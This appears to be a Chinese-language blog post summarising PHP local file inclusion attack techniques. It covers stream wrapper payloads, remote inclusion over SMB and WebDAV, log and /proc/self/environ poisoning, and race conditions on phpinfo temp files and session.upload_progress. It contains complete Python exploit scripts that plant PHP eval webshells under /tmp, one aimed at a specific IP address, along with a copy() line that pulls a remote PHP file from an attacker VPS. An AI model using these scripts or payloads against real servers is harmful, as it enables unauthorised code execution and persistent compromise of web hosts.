文件包含姿势总结

Scroll Down

四个函数

include //当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
require //只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
include_once
require_once

PHP Stream Wrapper

常见的有以下几种,下面几种都涉及到不同的姿势

var_dump(stream_get_wrappers());查看系统注册了哪些wrapper,对应phpinfo的Registered Stream Filters

常用的伪协议及其条件:

image-20210516211405773

可见上述封装协议有两个受影响,data://受两个配置项的影响,php://filterallow_url_include的影响

常用的姿势

# php://filter 
过滤器
php://filter/read=convert.base64-encode/resource=upload.php
string.strip_tags 
string.rot13 
string.toupper
convert.base64-decode
convert.quoted-printable-decode
convert.iconv.<input-encoding>.<output-encoding> 
convert.iconv.utf-16le.utf-8
清除死亡exit

# php://input + post_data

# http://
ssrf
内网

# file://
读文件

# glob://
列目录
glob://*/

# data://
data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data:text/plain,<?php phpinfo()?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data:,xxx -> xxx

# compress.bzip2://, compress.zlib://
compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包

# zip://
zip://archive.zip%23dir/file.txt
compress.bzip2://path/test.jpg - 直接包含zip,可rce

# ftp://
ssrf + ftp passive mode

# phar://
phar://path/test.xxx
phar反序列化

关于触发phar反序列化的关键底层其实是调用了php_stream_locate_url_wrapperphp_stream_open_wrapper这两个函数,关于php_stream_open_wrapper的挖掘,可以参考@zsx师傅的这篇

UNC

该方式使用于windows下关闭了两个配置项的文件包含。可以利用smb和webdav这两个协议是实现包含。由于allow_url_open=Off时会禁止远程的ftp、http协议的URL,但不会禁止UNC的远程文件共享(只适用于windows)

  • 什么是UNC路径?UNC路径就是类似\softer这样的形式的网络路径。
  • UNC为网络(主要指局域网)上资源的完整Windows 2000名称。支持远程网络。
    格式:\\servername\sharename(也可以使用/),其中servername是服务器名。sharename是共享资源的名称。
  • UNC共享就是指网络硬盘的共享

SMB

需要搭建smb服务,比较繁琐,在自己的vps上利用以下命令搭建一个

apt-get install samba

mkdir /var/www/html/pub/

chmod 0555 /var/www/html/pub/

chown -R nobody:nogroup /var/www/html/pub/

echo > /etc/samba/smb.conf

在smb.conf下写入

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

/var/www/html/pub放入我们的phpinfo文件即可。

重启SMB服务

service smbd restart

注意,如果使用阿里云的VPS去搭建的话,需要开启445端口的访问权(这里有时候可能不行)

Webdav

webdav也是一个协议。网络磁盘的共享协议

可以快速搭建一个(报错,未成功,待查)

docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav

然后把php文件放入/root/webdav/data中即可

上面两种方法文件包含的poc

第一种
http://127.0.0.1/include.php?file=//vps/1.php

第二种
http://127.0.0.1/include.php?file=//vps//webdav/1.php //注意双斜杠

包含日志文件

这类方法比较有局限性,其有几点要求:

  • 有权限读取日志文件,默认情况下,php和apache2的启动进程一般是www-data,而绝大部分的log文件的权限都是root组的,所以无法包含,除非一些管理员不注意使用给php等进程启用了高权限,这样可能导致包含日志文件

image-20210516144636690

  • log文件位置不定,如果专门设置了log文件的位置,这是很难知道的,在phpinfo中可以确切的查看到error_log的位置,但是看不到access_log的位置,因此我们需要fuzz,文件读取漏洞路径收集
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf

/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log

/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log

/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old

如果上述两个条件都满足,那么我们便可包含

包含access_log

该文件是由apache的配置文件中的CustomLog指令来指定的,其采用相对ServerRoot(安装、工作目录)的路径

image-20210516145220691

该日志用于记录访问信息,一般包括HTTP头部的大部分信息,我们可控的地方有UA、URL路径等,因此我们可以访问一个404的地址,然后再URL中写入我们的代码(注意,不要在?file=即URL参数后写入,因为会URL编码,尽量在其他地方写;不要用浏览器直接访问,因为浏览器会自动URL编码)

image-20210516153130117

image-20210516153117937

包含环境变量

包含linux(FreeBSD是没有这个的)下的/proc/self/environ,该文件可能记录用户的UA头,此时可以包含,而且该文件是直接可以读取的,因此不用考虑权限问题。但是要求

  • php运行模式是php/CGI

包含的方式和包含access_log一样,直接在UA中写入代码

配合文件上传

压缩利用

  • zip
zip://路径/shell.jpg%23shell #文件后缀不影响 要求zip的名称和zip里的文件名称一样??
zip://路径/shell.jpg%23dir/shell.php #多层目录
zip://路径/shell.jpg%23dir/shell #多层目录
  • phar

phar除了我们习以为常的反序列化,还可直接像zip一样来使用,其本身也是归档用的

<?php
$p = new PharData(dirname(__FILE__).'/phar.jpg', 0,'phar',Phar::ZIP) ; 
$p->addFromString('test.txt', '<?php phpinfo();?>'); 
?>

将会生成phar.jpg文件,里面是test.txt文件,直接包含

phar://路径/phar.jpg/test.txt

phpinfo

从phpinfo中我们能得到许多信息,利用这些信息配合一些php处理文件的特性,我们可以有很多种包含方法

常用的有

  • System:详细的操作系统信息 确定window or linux

  • Registered Stream Filters: 注册的php过滤器和流协议

  • extension_dir:php扩展的路径

  • short_open_tag:<?= 和 <? echo 等价

  • disable_functions:禁用函数

  • open_basedir:将用户可操作的文件限制在某目录下

  • 常用超全局变量

    • $_SERVER

      • **SERVER_ADDR **服务器真实IP
      • **HTTP_ACCEPT **cookie信息
    • $_FILES(userfile为上传表单input的name):

      • $_FILES['userfile']['tmp_name']:临时文件名,默认是/tmp/php[随机大小写字符]
      • $_FILES['userfile']['name']:真实文件名
    • $_SESSION

      • save_path 存放路径(主要!!!)
      • upload_progress.enabled:是否开启PHP_SESSION_UPLOAD_PROGRESS,这个也是一个利用点
      • upload_progress.cleanup:处理完临时SESSION后是否删除临时SESSION文件,默认On

本地包含临时文件

这个思路P牛很早就说过了,原理大概是:

构造一个上传表单的时候,php也会生成一个对应的临时文件,这个文件的相关内容可以在phpinfo()的$_FILE["file"]查看到,但是临时文件很快就会被删除,所以我们赶在临时文件被删除之前,包含临时文件就可以getshell了。这里利用的条件有

  • 存在一个phpinfo的页面,这样我们才能获取临时文件名

  • 服务器性能允许我们进行条件竞争

  • disable_functions没有禁用全部的文件写入函数

#
fopen ( string $filename , string $mode , bool $use_include_path = false , resource $context = ? ) : resource
fwrite ( resource $handle , string $string , int $length = ? ) : int

# 
file_put_contents ( string $filename , mixed $data , int $flags = 0 , resource $context = ? ) : int

#
rename ( string $oldname , string $newname , resource $context = ? ) : bool

#
move_uploaded_file ( string $filename , string $destination ) : bool

#支持远程url,需要开启allow_url_include
copy ( string $source , string $dest , resource $context = ? ) : bool
copy("http://vps/1.php", "./shell.php");

然后利用一个脚本:

import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test" # 文件包含成功的标志
    
    #通过文件包含写入shell到其他文件,达到稳定包含
    PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php eval($_POST["diggid"]);?>');?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    
    # 这里需要修改为phpinfo.php的地址
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    
    # 存在文件包含地址 
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""

    LFIREQ_POST = """POST /lfi.php HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
Content-Type: application/x-www-form-urlencoded
Content-Length: %d

%s
\r
\r"""

    return (REQ1, TAG, LFIREQ)
    #return (REQ1, TAG, LFIREQ_POST)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.find("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
        # print fn
    except ValueError:
        return None
    s2.send(lfireq % (fn, host))
    #post:s2.send(lfireq % (host, len("file=%s" % fn), "file=%s" % fn))
    # print lfireq % (fn, host) #debug调试结果
    d = s2.recv(4096)
    # print d #查看回显是否成功
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print("\nGot it! Shell created in /tmp/g")
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print("found %s at %i" % (d[i:i+10],i))
    # padded up a bit
    return i+256

def main():

    print("LFI With PHPInfo()")
    print("-=" * 30)

    if len(sys.argv) < 2:
        print("Usage: %s host [port] [threads]") % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("Error with hostname %s: %s") % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError as e:
        print("Error with port %d: %s") % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError as e:
        print("Error with poolsz %d: %s") % (sys.argv[3], e)
        sys.exit(1)

    print("Getting initial offset..."),  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print("Spawning worker pool (%d)...") % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print("Woot!  \m/")
        else:
            print(":(")
    except KeyboardInterrupt:
        print("\nTelling threads to shutdown...")
        e.set()

    print("Shuttin' down...")
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

这里我们搭一个环境来试一下,

python .\include_tmp.py x.x.x.x 80 100

image-20210516173810670

提示写入成功了,但是包含/tmp/g却包含失败,排查了一翻,发现是apache2.servicePrivateTmp这个配置项导致在tmp出现类似这样的临时目录systemd-private-eff24922558d417b9c8a24c070bd50d5-apache2.service-bmdBYh,该配置项会给每个临时文件同时生成一个临时目录,不仅使用在apache2服务中,在xxx.service如mysql.service、nginx.service也存在相同的配置。

image-20210516173423606

session.upload_progress

session上传进度

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得,例如

<?php
$key = ini_get("session.upload_progress.prefix") . ini_get("session.upload_progress.name");
var_dump($_SESSION[$key]);
?>
# session.upload_progress.name 默认值为 PHP_SESSION_UPLOAD_PROGRESS

官方文档中给了一个文件上传的页面

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

上传后的信息可以在$_SESSION['upload_progress_123']中找到,即session.upload_progress.prefix + value。而$_SESSION的值会存储到对应的session文件中,由于上述存在可控拼接value,因此我们在序列化的session文件中可以注入我们的代码

image-20210517093332785

1.session.use_strict_mode

该值默认为false,意思就是用户可以自定义Session ID,因此只要我们的http头部中有PHPSESSID,就会生成相应的session文件。因此我们在没有session_start()的情况下也能利用。

2.session.upload_progress.cleanup

默认开启session.upload_progress.enabledsession.upload_progress.cleanup。前者是该配置的开关,后者用于上传完后清除对应的session文件。所以此时我们需要利用条件竞争,不断上传一个大文件,然后进行包含,默认路径:

/var/lib/sessions/sess_[PHPSESSID]

利用bp使劲上传下面两个,一个生成session文件,一个包含生成的文件,然后把马写到/tmp/shell实现稳定连接

image-20210516201834711

image-20210516200454909

如果file_put_contents被禁了,那就换上面的其他的。也可以写个脚本

import requests
import time
import threading

host = 'http://101.132.159.30'
PHPSESSID = 'diggid'

def creatSession():
    while True:
        files = {
        	"upload" : ("1.jpg", open("C:/mm/xm/shell.jpg", "rb"))
        }
        payload = """<?php echo md5("1");file_put_contents('/tmp/shell','<?php @eval($_REQUEST[diggid]);?>');?>"""
        data = {
            "PHP_SESSION_UPLOAD_PROGRESS" : payload
        }
        headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
        url = host + "/1.php" # 这里尽量加一个确定存在的文件
        r = requests.post(url, files = files, headers = headers, data=data, proxies={"http":"http://127.0.0.1:8080"})
        print(r.status_code)

fileName = "/var/lib/php/sessions/sess_"+PHPSESSID

if __name__ == '__main__':
	
    url = "{}/1.php?file={}".format(host,fileName)
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    t = threading.Thread(target=creatSession,args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url,headers=headers)
        if b"c4ca4238a0b923820dcc509a6f75849b" in res.content:
            print("[*] Get shell success.")
            break
        else:
            print("[-] retry.")

LFI + php7崩溃

在php7使用php://filter/string.strip_tags=/etc/passwd这个过滤器会使得php进程崩溃(segment fault),同时上传文件的话,在上传处理的过程中,临时文件先写入/tmp/php[xxxxxx],然后程序崩溃,此时临时文件不会被删除,局限性

  • 可以列出/tmp目录,否则难以爆破

  • 需要循环尝试